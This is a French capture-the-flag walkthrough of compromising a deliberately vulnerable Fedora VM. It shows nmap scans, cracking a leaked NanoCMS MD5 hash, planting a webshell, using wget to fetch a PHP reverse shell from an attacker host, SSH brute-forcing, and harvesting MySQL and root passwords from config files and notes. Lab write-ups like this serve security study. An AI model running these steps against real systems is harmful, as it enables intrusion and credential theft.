La VM suivante, après la CTF4 !
Scanner
Une fois la machine identifiée sur le réseau, on va voir ce qu’elle nous dit :
$ nmap -sS 192.168.142.131
Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-21 21:12 CET
Nmap scan report for 192.168.142.131
Host is up (0.0011s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
901/tcp open samba-swat
3306/tcp open mysql
Un scan un peu plus poussé maintenant. Le flag -sV nous permet de sonder le port ouvert à la recherche d’informations/version. Le flag -O va tenter de nous découvrir l’OS de l’hôte.
$ nmap -sV -O 192.168.142.131
Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-21 21:40 CET
Nmap scan report for 192.168.142.131
Host is up (0.00042s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7 (protocol 2.0)
25/tcp open smtp Sendmail 8.14.1/8.14.1
80/tcp open http Apache httpd 2.2.6 ((Fedora))
110/tcp open pop3 ipop3d 2006k.101
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MYGROUP)
143/tcp open imap University of Washington IMAP imapd 2006k.396 (time zone: -0500)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MYGROUP)
901/tcp open http Samba SWAT administration server
3306/tcp open mysql MySQL 5.0.45
MAC Address: 00:0C:29:B5:70:8C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
Service Info: Hosts: localhost.localdomain, 192.168.142.131; OS: Unix
Accès web
En naviguant sur le site, on trouve un point d’entré intéréssant : un blog de l’utilisateur Andy CARP, responsable de Phae Organization. Le blog est propulsé sous NanoCMS.
En faisant une rapide recherche de ce qu’est NanoCMS, les premières infos que j’y trouvent sont des vulnérabilités associées !
- La page ~/pagesdata.txt contient le nom d’utilisateur de l’administrateur du blog et le mot de passe sous forme de hash MD5. Ces informations sont stockés directement dans un fichier texte et accessible par tous.
- La page d’administration du blog : ~/nanoadmin.php
Pour rappel, le MD5 n’est pas un protocole de chiffrement. C’est une fonction de hachage cryptographique permettant d’obtenir l’empreinte numérique d’un fichier/d’une chaîne de caractère. On peut l’utiliser pour vérifier l’intégrité d’un fichier, si il n’a pas été altéré ou modifié. Il est aujourd’hui totalement dépassé et crackable facilement.
Avec les informations récupérées via le pagesdata.txt : admin / 9d2f75377ac0ab991d40c91fd27e52fd
Hash MD5 = shannon
Avec le couple d’identifiant admin / shannon, on est maintenant loggué avec un compte administrateur sur le site.
Upload d’un webshell
En naviguant avec le compte administrateur, on a la possibilité de créer une nouvelle page en PHP. Je vais pouvoir y inclure du code malicieux et exécuter des commandes à distances par l’URL.
Exemple de webshell basique
Un webshell amélioré – c99.php
Exécuter de cette manière des commandes système n’est pas très pratique, il me faut quelques choses d’interactif, de plus élaboré : un reverse-shell !
En me renseignant sur le net, je trouve sur pentestmonkey.net pile-poil ce qu’il me faut : http://pentestmonkey.net/tools/web-shells/php-reverse-shell
Je monte un rapide serveur web sur ma machine attaquante, j’adapte le code,et j’y positionne mon reverse-shell à récupérer.
Avec le webshell obtenu précédemment via NanoCMS, je récupère mon fichier malicieux avec un wget depuis ma machine corrompu
$ wget http://IP_ATTAQUANT/php-reverse-shell.php
Un listing rapide des fichiers m’indique qu’il est bien récupéré.
Je me met en écoute côté machine attaquante (voir plus bas).
Je charge ensuite l’URL pour déclencher la connexion vers ma machine attaquante :
$ nc -v -n -l -p 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 192.168.142.131 57819 received!
Linux localhost.localdomain 2.6.23.1-42.fc8 #1 SMP Tue Oct 30 13:55:12 EDT 2007 i686 i686 i386 GNU/Linux
13:12:32 up 13 min, 0 users, load average: 0.07, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
sh: no job control in this shell
sh-3.2$ whoami
apache
Accès direct sur le serveur ! 🙂
Accès système
J’ai donc maintenant un accès en ligne de commande sur le serveur.
Un petit passage de LinuxPrivChecker :
[+] Related Shell Escape Sequences...
nmap--> --interactive
vi--> :!bash
vi--> :set shell=/bin/bash:shell
vi--> :!bash
vi--> :set shell=/bin/bash:shell
awk--> awk 'BEGIN {system("/bin/bash")}'
find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl--> perl -e 'exec "/bin/bash";'
Pas mal de pistes mais rien d’exploitable. Aucun escape shell ne fonctionne, car tous correctement paramétré pour être lancé avec les droits de l’utilisateur courant. Pas de compilateur comme gcc de présent sur la machine compromise, cela m’aurais permis de compiler et d’exécuter un exploit.
Rien à tirer en cherchant les programmes SUID (Set User ID – effectuer des tâches avec les permissions associés à root, commande la commande passwd) :
$ find / -perm -u=s -type f 2>/dev/null
Je lance en parallèle un brute-force SSH, après avoir repéré les utilisateurs (patrick, jennifer, andy, loren, amy) avec un compte système dans le fichier /etc/passwd.
Après une trentaine de minutes …
[22][ssh] host:192.168.142.131 login: amy password: dolphins
En me connectant avec cet utilisateur, je reviens au même point que tout à l’heure : toujours rien à exploiter. Patience patience …
MySQL
En fouillant dans les fichiers WEB (/var/www/html), je trouve un dossier /events, correspondant au site de gestion des événements de la compagnie. Il s’agit d’un site tournant sous le CMS Drupal. Je fonce dans les fichiers de config’ de Drupal à la recherches de potentiels informations, identifiants comme on peut trouver avec WordPress et son fichier wp-config.php. Sachant qu’il n’y a que MySQL de disponible sur le serveur, cela va me faciliter les recherches.
Avec grep, le flag -r permet de chercher récusrivement, le flag -n pour afficher les numéros de lignes :
$ grep -rn * -e "mysql"
[...]
sites/default/settings.php:93:$db_url = 'mysql://root:mysqlpassword@localhost/drupal';
[...]
J’ai maintenant accès à la base MySQL, avec le compte root.
Après quelques recherches, prise d’informations et tentatives, je n’ai pas réussi avec mes connaissances actuelles à exploiter cette entrée-là (exécution de commandes par le shell MySQL, escalade de privilège ..).
Service mail
En me souvenant qu’un service mail tourne sur le serveur (SquirrelMail), je tente ma chance et creuse dans l’arborescence /var/spool/mail. Je trouve un mail pour l’utilisateur Amy, et ce mail m’indique que l’utilisateur Patrick est l’administrateur du site Phake Organization. Je vais donc chercher un peu plus en profondeur dans son home utilisateur, à la recherche d’informations, applications, fichiers …
Les recherchent se suivent, et enfin :
$ /home/patrick# grep -rn "password" * .*
grep: .nautilus/saved-session-BS3FOW: Permission non accordée
grep: .nautilus/saved-session-V2UAOW: Permission non accordée
grep: .nautilus/saved-session-BZH1SU: Permission non accordée
grep: .nautilus/saved-session-O2V6SU: Permission non accordée
.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note:3: <title>Root password</title>
.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note:4: <text xml:space="preserve"><note-content version="0.1">Root password
.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note:6:Root password
.tomboy.log:68:12/5/2012 7:24:46 AM [DEBUG]: Renaming note from New Note 3 to Root password
.tomboy.log:69:12/5/2012 7:24:56 AM [DEBUG]: Saving 'Root password'...
.tomboy.log:70:12/5/2012 7:25:03 AM [DEBUG]: Saving 'Root password'...
Tomboy
Tomboy est un utilitaire de prise de note disponible de base sous la plupart des distributions GNU/Linux possédant une surcouche graphique.
$ tomboy --version
Tomboy : une application de prise de notes simple et facile à utiliser.
Copyright (C) 2004-2006 Alex Graveley <alex@beatniksoftware.com>
Version 0.8.1
Pour les versions récentes, les notes écritent sont stockées en clair dans le ~/.local/share/tomboy/
Pour les versions plus anciennes (ici 0.8.1), c’est dans le ~/.tomboy/
En vérifiant la note qui nous intéresse (481bca0d-7206-45dd-a459-a72ea1131329.note), on trouve un mot de passe à priori root noté par Patrick dans ses notes personnelles.
Accès root
On va donc l’essayer :
$ su root
Mot de passe :
$ whoami
root
Bingo !